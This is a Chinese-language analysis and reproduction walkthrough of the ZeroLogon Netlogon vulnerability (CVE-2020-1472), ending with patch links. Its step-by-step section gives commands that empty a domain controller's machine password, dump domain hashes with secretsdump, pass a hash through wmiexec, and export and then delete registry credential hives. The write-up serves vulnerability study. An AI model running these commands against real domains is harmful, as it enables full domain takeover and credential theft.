0x01漏洞简介
0x02影响范围
Windows受影响版本:
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
Windows Server 2012
Windows Server 2012 (Server Core installation)
Windows Server 2012 R2
Windows Server 2012 R2 (Server Core installation)
Windows Server 2016
Windows Server 2016 (Server Core installation)
Windows Server 2019
Windows Server 2019 (Server Core installation)
Windows Server, version 1903 (Server Core installation)
Windows Server, version 1909 (Server Core installation)
Windows Server, version 2004 (Server Core installation)
Samba受影响版本:
4.0 < Samba < 4.8 且 未配置 server schannel = yes
Samba > 4.0 且 Smb.conf配置文件中配置了server schannel = no或server schannel = auto
0x03 漏洞分析
Netlogon协议是微软提供的一套域访问认证协议,过程如下图:
Client challenge:8字节,攻击者可控,且全部设置为00
Server challenge:8字节,攻击者不可控,但是可以多次发起连接,重新生成server challenge
secret:用户密码的hash
challenges: Client challenge+ Server challenge
Session key:AES加密的密钥,由secret与challenges生成
Client credential:8字节,由session key与client challenge加密运算生成
加密方式是AES-CFB8,AES-CFB8对明文的每个字节进行加密,首先由16个字节的初始化向量(IV)作为输入进行AES运算得到一个输出,取输出的第一个字节,与明文的第一个字节进行异或,得到第一个字节的密文。
第二步,由后15个字节的IV加1个字节的密文作为输入进行AES运算得到一个输出,取输出的第一个字节与明文的第二个字节进行异或,得到第二个字节的密文,以此类推,可得到8个字节的密文作为Client credential。
其运算过程如下图:
黄色部分为16字节的初始向量IV, 理论上为了保证AES算法的可靠性该部分内容应该随机生成,而微软却错误的将其全部设置为00;蓝色部分为明文,对应client challenge,该部分内容攻击者可控,设置为全00,那么整个AES运算过程如下图所示:
由上图可知,如果第一步的AES运算输出的第一个字节为00,那么得到的第一个字节密文也为00,并且由于后续AES的输入全为00,密钥不变,所以AES输出的第一个字节还是00,密文也还是00,结果就可以得到8个字节全为00的密文作为Client credential。
那么如何让AES运算输出第一个字节为00呢?输入全为00,密钥不同,其输出就会不同,改变密钥,那么其输出就会改变。已知Session key为AES的密钥,session key由secret与challenges生成,secret与client challenge不变,所以只要改变server challenge就会密钥的值,从而改变AES输出的值。
攻击者可以不断发起新的连接,server端就会生成新的server challenge,直到AES输出的第一个字节为00,那么攻击者就可以使用8个字节全为00的Client credential完成域身份认证。理论上平均2^8=256次碰撞可以得到AES输出的第一个字节为00。
在整个碰撞过程中session key一直是未知的,攻击者可以通过设置flag使之后的过程不使用session key进行加密。
执行每个操作的调用都必须包含验证值,攻击者可以通过提供一个全零验证和一个全零时间戳来绕过。
攻击者可以利用NetrServerPasswordSet2调用更新密码,在该远程调用的过程中会发送新密码的密文,长度为516比特,后四bit表示密码长度,该密文是由session key加密的,同理设置为全0,根据上面的session key加密算法其真实的密码的明文也是0并且长度为0,这样就置空了server密码。攻击者使用impacket的secretsdump,可以dump域内用户hash,包括域控管理员以及krbtgt。
攻击者流程图:
0x04 漏洞复现
1、 复现环境
域控:Windows Server 2012 R2
域成员:Windows 7
攻击机:kali
2、 工具准备
漏洞测试工具:zerologon_tester
https://github.com/SecuraBV/CVE-2020-1472
漏洞利用工具:zerologon
https://github.com/risksense/zerologon
网络协议工具:impacket
https://github.com/SecureAuthCorp/impacket
3、 确定域控主机名及IP
在获取到一台域成员系统权限后,收集域控主机名及IP信息。
ipconfig /all
net user /domain
ping DC
4、 测试域控是否存在漏洞
python3 zerologon_tester.py DC 192.168.1.53
5、 使用漏洞利用工具置空域控机器账户的密码(这一步可能会导致域控脱域,需要及时恢复域控机器用户hash)。
python3 set_empty_pw.py DC 192.168.1.53
6、 使用空密码dump域控上的hash
python3 secretsdump.py troila.com/dc$@192.168.1.53 –no-pass
获得administrator的hash后可以尝试破解,得到明文密码
7、 通过wmiexec使用administrator的hash获取域管权限
python3 wmiexec.py –hashes aad3b435b51404eeaad3b435b51404ee:34823259805a88a95e921f4f7e053334 administrator@192.168.1.53
8、 获取目标原始hash
在域控主机上从注册表导出hash文件。
reg save HKLMSYSTEM system.save
reg save HKLMSAM sam.save
reg save HKLMSECURITY security.save
将导出的hash文件下载到本地。
get system.save
get sam.save
get security.save
在域控主机上删除导出的hash文件。
del /f system.save
del /f sam.save
del /f security.save
使用secretsdump读取下载到本地的hash文件,获取域控机器账户置空前的原始hash。
python3 secretsdump.py –sam sam.save –system system.save –security security.save LOCAL
9、 还原域控机器账户hash
python3 reinstall_original_pw.py DC 192.168.1.53 9c0dbc4f157d628d3c618e4290c077f4
10、 验证hash是否还原
使用空密码连接,连接失败。
0x05 漏洞修复
Windows:
https://portal.msrc.microsoft.com/zh-CN/security-guidance/advisory/CVE-2020-1472
Samba:
https://www.samba.org/samba/history/security.html
参考链接:
https://www.secura.com/blog/zero-logon
https://www.anquanke.com/post/id/219374
本文来源于互联网:CVE-2020-1472 ZeroLogon漏洞分析利用